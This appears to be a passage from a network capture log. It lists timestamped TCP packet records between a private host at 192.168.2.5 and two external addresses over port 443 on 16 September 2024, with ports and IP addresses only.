Sep 16, 2024 08:23:24.859473944 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:24.921986103 CEST	49754	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:24.922041893 CEST	443	49754	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:24.922122002 CEST	49754	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:24.959184885 CEST	49754	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:24.959218979 CEST	443	49754	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:24.959297895 CEST	443	49754	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:24.973370075 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:24.973398924 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:24.973424911 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:24.973460913 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:24.973506927 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:24.973561049 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:24.973579884 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:24.973608971 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:24.973627090 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:24.973655939 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:24.973676920 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:24.973711014 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:24.973711014 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:24.973711014 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:24.973711014 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:24.973711014 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:24.973716974 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:24.973746061 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:24.973769903 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:24.973792076 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:24.973825932 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:24.973850012 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:24.973875046 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:24.973916054 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:24.973949909 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:24.973968983 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:24.973994017 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:24.974028111 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:24.974028111 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:24.974028111 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:24.974029064 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:24.974029064 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:24.974029064 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:24.974029064 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:24.974029064 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:24.974066019 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:24.974066019 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:24.974066019 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:24.974066019 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:24.974102020 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:24.974147081 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:24.974186897 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:24.974188089 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:24.974210024 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:24.974210978 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:24.974235058 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:24.974248886 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:24.974268913 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:24.974282980 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:24.974293947 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:24.974323034 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:24.974337101 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:24.974369049 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:24.974411011 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:24.974411011 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:24.974411011 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:24.974404097 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:24.974457026 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:24.974493027 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:24.974510908 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:24.974534988 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:25.081137896 CEST	49755	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:25.081171989 CEST	443	49755	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:25.081289053 CEST	49755	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:25.109363079 CEST	49755	443	192.168.2.5	45.144.31.105
Sep 16, 2024 08:23:25.109380007 CEST	443	49755	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:25.109462976 CEST	443	49755	45.144.31.105	192.168.2.5
Sep 16, 2024 08:23:25.179481030 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:25.179568052 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:25.420324087 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:25.420346022 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:25.420360088 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:25.420428038 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:25.420433998 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:25.420444965 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:25.420488119 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:25.420491934 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:25.420504093 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:25.420523882 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:25.420527935 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:25.420571089 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:25.420588017 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:25.420598984 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:25.420619965 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:25.420672894 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:25.567434072 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:25.567529917 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:25.595428944 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:25.599153996 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:25.631434917 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:25.631823063 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:26.044838905 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:26.044857979 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.044873953 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.044926882 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:26.044934034 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.044949055 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.044974089 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:26.044979095 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.045011044 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:26.045016050 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.045023918 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.045038939 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.045048952 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:26.045053959 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.045069933 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.045094967 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:26.045099974 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.045140982 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:26.045183897 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:26.061088085 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:26.061117887 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.061139107 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.061150074 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.061216116 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:26.061223984 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.061280012 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:26.170891047 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:26.170928955 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.170948982 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.171006918 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:26.171019077 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.171034098 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.171058893 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:26.171067953 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.171106100 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:26.171113968 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.171127081 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.171160936 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.171190023 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:26.171190023 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:26.171199083 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.171216965 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.171240091 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.171257973 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:26.171267986 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.171276093 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.171291113 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:26.171367884 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:26.171410084 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:26.251456022 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.251523018 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:26.383438110 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.383512974 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:26.413485050 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:26.413517952 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.413548946 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.413583994 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:26.413626909 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:26.457643032 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:26.457657099 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.457681894 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.457705021 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.457735062 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:26.457746983 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.457787991 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.457819939 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:26.457820892 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:26.457838058 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.457875013 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.457899094 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:26.457940102 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.457942963 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:26.457988024 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.458024979 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.458041906 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:26.458076000 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.458093882 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.458110094 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.458138943 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.458174944 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:26.458251953 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:26.663445950 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.663516998 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:26.687412977 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.687458992 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:26.811429977 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.811499119 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:26.864376068 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:26.864397049 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.864417076 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.864459991 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:26.864465952 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.864478111 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.864517927 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:26.864523888 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.864533901 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.864537954 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.864547968 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:26.864553928 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.864599943 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:26.864605904 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.864619970 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.864623070 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:26.864636898 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:26.864729881 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:27.071440935 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:27.071491957 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:27.099431992 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:27.099556923 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:27.483448029 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:27.483845949 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:27.612497091 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:27.612517118 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:27.612535954 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:27.612620115 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:27.612620115 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:27.612628937 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:27.612643003 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:27.612654924 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:27.612665892 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:27.612687111 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:27.612693071 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:27.612708092 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:27.612739086 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:27.612744093 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:27.612757921 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:27.612782955 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:27.612787008 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:27.612859964 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:27.612859964 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:27.632592916 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:27.632654905 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:27.632685900 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:27.632720947 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:27.632738113 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:27.632766962 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:27.632879972 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:27.798985958 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:27.799029112 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:27.799058914 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:27.799077988 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:27.799146891 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:27.799161911 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:27.799195051 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:27.799227953 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:27.799240112 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:27.799259901 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:27.799316883 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:27.799335957 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:27.799375057 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:27.799443007 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:27.799443007 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:27.799458981 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:27.799489021 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:27.799506903 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:27.799537897 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:27.799537897 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:27.799537897 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:27.799604893 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:27.799633980 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:27.823405981 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:27.823640108 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:27.877187014 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:27.877249002 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:27.877284050 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:27.877343893 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:27.877389908 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:27.903307915 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:27.903330088 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:27.903356075 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:27.903379917 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:27.903434038 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:27.903445959 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:27.903469086 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:27.903527021 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:27.903527021 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:27.903544903 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:27.903584957 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:27.903613091 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:27.903652906 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:27.903678894 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:27.903678894 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:27.903700113 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:27.903736115 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:27.903768063 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:27.903801918 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:27.903801918 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:27.903820992 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:27.903873920 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:27.903901100 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:27.903947115 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:27.903947115 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:27.903947115 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:27.904050112 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:28.007441998 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:28.007837057 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:28.111443996 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:28.111547947 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:28.181611061 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:28.181629896 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:28.181646109 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:28.181658983 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:28.181705952 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:28.181711912 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:28.181723118 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:28.181775093 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:28.181781054 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:28.181807995 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:28.181824923 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:28.181829929 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:28.181915998 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:28.219449043 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:28.219520092 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:28.387454033 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:28.387506962 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:28.443412066 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:28.443465948 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:28.539437056 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:28.539551973 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:28.827428102 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:28.827545881 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:28.960283995 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:28.960305929 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:28.960321903 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:28.960382938 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:28.960388899 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:28.960401058 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:28.960408926 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:28.960464954 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:28.960474968 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:28.960498095 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:28.960505962 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:28.960510969 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:23:28.960601091 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:23:29.014451027 CEST	49738	443	192.168.2.5	185.199.109.133
